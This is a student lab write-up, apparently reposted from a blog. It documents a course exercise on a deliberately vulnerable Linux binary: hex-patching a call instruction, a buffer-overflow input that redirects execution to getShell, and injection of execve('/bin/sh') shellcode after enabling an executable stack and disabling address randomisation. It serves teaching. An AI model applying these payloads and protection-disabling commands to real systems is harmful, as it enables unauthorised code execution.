2018-2019-2 20165330《网络对抗技术》Exp1 PC平台逆向破解

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实验目标

  • 本次实验的对象是一个名为pwn1的linux可执行文件。
    -该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

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实验内容

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知识点描述

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • 使用objdump -d 20165330zyx可查看可执行文件20165330zyx的反汇编代码及其对应机器码
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    • 可知:
      • NOP:无作用,英文"no operation"的简写,意思是"do nothing"(机器码90)
      • JNE:若不相等则跳(机器码75
      • JE:若相等则跳(机器码74
      • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB),段内直接近转移Jmp near(机器码:E9),段内间接转移Jmp word(机器码:FF),段间直接(远)转移Jmp far(机器码:EA)
      • CMP:比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位(机器码39)
  2. 掌握反汇编与十六进制编程器

    • 反汇编指令:objdump -d objfile,关于其他用法可参考Linux下C程序的反汇编
    • 关于管道,输入、输出重定向参考linux下输入输出重定向和管道符
    • 十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件,其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下:
      • 输入命令vi 20165330zyx查看可执行文件内容,发现大部分是我们没法理解的乱码;
      • esc后在底行输入:%!xxd将显示模式切换为16进制模式;
      • 进行相关操作后,输入:%!xxd -r转换16进制为原格式。
  3. 能正确修改机器指令改变程序执行流程

    见实验步骤1

  4. 能正确构造payload进行bof攻击

    见实验步骤3

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实验步骤

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • objdump -d 20165330zyx指令查看可执行文件的反汇编结果
  • 锁定修改目标80484b5: e8 d7 ff ff ff call 8048491 <foo>
  • 对比getShell函数的地址0804847dfoo函数的地址08048491,可以发现两地址之差为十六进制14;
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  • call汇编指令的机器码为e8,我们可以锁定这部分,后面的d7 ff ff ff这四个字节为数值部分,代表指令跳转时需要与eip寄存器相加的偏移量
  • 如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。由于数值存储方式为小端方式,所以锁定需要改的字节为d7,将它与地址差14做减法运算后的值为c3
  • 下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
    • cp 20165330zyx 20165330pwn2复制文件
    • 使用vi 20165330pwn2编辑可执行文件;
    • esc后,输入%!xxd将显示模式切换为十六进制模式
    • 在底行/d7查找需要修改的内容,将d7改为c3
    • 转换16进制为原格式::%!xxd -r
    • 保存退出::wq
  • 此时我们反汇编可看到call指令调用的函数被改
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  • 输入./20165330pwn2运行该可执行文件
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利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
  • 可执行文件正常运行是调用foo函数,我们发现这个函数有Buffer overflow漏洞
  • foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
  • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
  • 确认输入字符串哪几个字符会覆盖到返回地址
  • gdb 20165330pwn(pwn的副本)调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生段错误产生溢出
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  • info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址
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  • 这是我们就将getShell的地址0x0804847d把1234替换即可
  • 由于数据按小端存储,我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
  • 因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)
  • 使用16进制查看指令xxd查看input文件的内容是否如预期
  • 确认无误后用(cat input;cat) | ./20165330pwn将input中的字符串作为可执行文件的输入
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注入一个自己制作的shellcode并运行这段shellcode
  • 下载execstack程序以便接下来可以设置易于攻击的环境:apt-get install execstack
  • 准备工作
    • 修改些设置

       execstack -s pwn1    //设置堆栈可执行
       execstack -q pwn1    //查询文件的堆栈是否可执行
    • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
    • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
  • 构造要注入的payload
    • 目的:将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改为buffer的首地址
    • 我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:

       perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
       //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
       //特别提醒:最后一个字符千万不能是\x0a
    • 注入:(cat input_shellcode;cat) | ./20165330pwn
    • 再打开一个终端查看执行文件进程号ps -ef | grep 20165330pwn
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    • 启用gdb调试进程,attach 2222与进程建立连接
    • 设置断点查看注入buf的内存地址

       disassemble foo //反汇编
       break *0x080484ae //设置断点
       //在另外一个终端中按下回车
    • c继续
    • info r esp查看esp栈顶指针的地址
    • 使用x/16x 0xffffd33c查看其存放内容,看到01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340,即0xffffd33c加上4字节
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    • c-quit退出gdb调试,回到之前的终端输入exit退出命令,修改之前的\x4\x3\x2\x1部分:perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
    • 再次运行(cat input_shellcode;cat) | ./20165330pwn后发现执行成功
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实验过程中遇到的问题


实验感想

  • 实验收获与感想

    在这次实验中不仅懂得了什么是缓冲区溢出,也动手实现了缓冲区溢出,并且也把上学期所学的一些内容又串联在了一起,加深了我对堆栈的理解。

  • 什么是漏洞?漏洞有什么危害?

    • 缓冲区溢出就是输入的内容超过所分配的缓冲区空间,被溢出的内容由于设计的缺陷没有被立刻检查到,而破坏堆栈覆盖一些原始数据。
    • 会导致程序运行失败、系统关机、重新启动,或者执行攻击者的指令,比如非法提升权限。

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转载自www.cnblogs.com/besty-zyx/p/10516361.html